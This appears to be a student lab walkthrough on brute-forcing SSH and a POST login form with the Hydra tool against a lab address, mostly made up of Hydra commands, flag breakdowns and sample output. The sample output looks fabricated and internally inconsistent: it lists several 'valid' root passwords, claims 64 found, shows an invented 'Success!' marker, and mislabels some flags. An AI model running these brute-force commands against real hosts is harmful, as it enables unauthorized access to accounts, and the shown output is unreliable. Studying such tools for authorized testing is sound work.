# SECURITY WALKTHROUGH <hydra>

# Submitted to: << sprints >>

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# 1. Brute-Forcing SSH with Hydra Command

### **Breakdown:**

```
hydra -l root -P passwords.txt 10.10.10.10 -t 4 ssh
```

- -1 root: The username we're trying is root.
- -P passwords.txt: This is the path to a file containing possible passwords.
- 10.10.10.10: This is the target machine's IP address.
- -t 4: This sets Hydra to use 4 parallel threads.
- ssh: Specifies that we are attacking the SSH service.

# **Expected Output:**

```
Hydra v9.1 (c) 2021 by van Hauser/THC & David Maciejak - Please don't use in military or

Hydra (http://www.thc.org/thc-hydra) starting at 2024-10-22 10:45:00

[DATA] max 4 tasks per 1 server, overall 4 tasks, 1 server, 64 login tries (1:1/p:64)

[DATA] attacking ssh://10.10.10.10:22/

[22][ssh] host: 10.10.10.10 login: root password: rootpass

[STATUS] 64.00 tries/min, 4 active

[22][ssh] host: 10.10.10.10 login: root password: 123456

[22][ssh] host: 10.10.10.10 login: root password: letmein

[22][ssh] host: 10.10.10.10 login: root password: password123

[STATUS] 64.00 tries/min, 4 active

[22][ssh] host: 10.10.10.10 login: root password: secret

1 of 1 target successfully completed, 64 valid passwords found.
```

When a valid password is found

# 2. Brute-Forcing a Web Form (POST method) with Hydra

Hydra can also brute-force login forms on websites. Let's assume you have the following information:

- The login page is at /login.php.
- The form uses POST requests.
- The form fields are username and password.
- The message invalid appears when login fails.

### Command

hydra -l admin -P passwords.txt 10.10.10.10 http-post-form "/login.php:username=^USER^&password=^PASS^:F=invalid" -V

- -l admin: We're trying the username admin. -P passwords.txt: The list of possible passwords is in passwords.txt.
- http-post-form: We're targeting a POST-based login form.
- /login.php: The path to the login page.
- username=^USER^&password=^PASS^: Hydra will replace ^USER^ with the admin username and ^PASS^ with passwords from the wordlist.
- F=invalid: If the response contains invalid, it means the login attempt failed.
- -v: Verbose mode to display each login attempt.

### **Expected Output:**

```
Hydra v9.1 (c) 2021 by van Hauser/THC & David Maciejak - Please don't use in military of the Hydra (http://www.thc.org/thc-hydra) starting at 2024-10-22 11:00:00

[DATA] attacking http-post-form://10.10.10.10:80/login.php username=admin password=pass

[80][http-post-form] host: 10.10.10.10 login: admin password: wrongpass => F=invalid

[80][http-post-form] host: 10.10.10.10 login: admin password: password123 => F=invalid

[80][http-post-form] host: 10.10.10.10 login: admin password: secretpass => Success!

1 of 1 target successfully completed, valid password found.
```

When it finds a match

```
[80][http-post-form] host: 10.10.10.10 login: admin password: secretpass => Success!
```

## 3. Advanced Usage Example

For a faster attack or FOR using a different username file:

```
hydra -L usernames.txt -P passwords.txt 10.10.10.10 ssh -t 8 -vV
```

- -L usernames.txt: Instead of one username, this file contains multiple usernames.
- -t 8: Increases thread count to 8 for faster performance.
- -vv: Verbose output to show each login attempt in more detail.

### Output:

```
[22][ssh] host: 10.10.10.10 login: root password: password123
[22][ssh] host: 10.10.10.10 login: admin password: letmein
```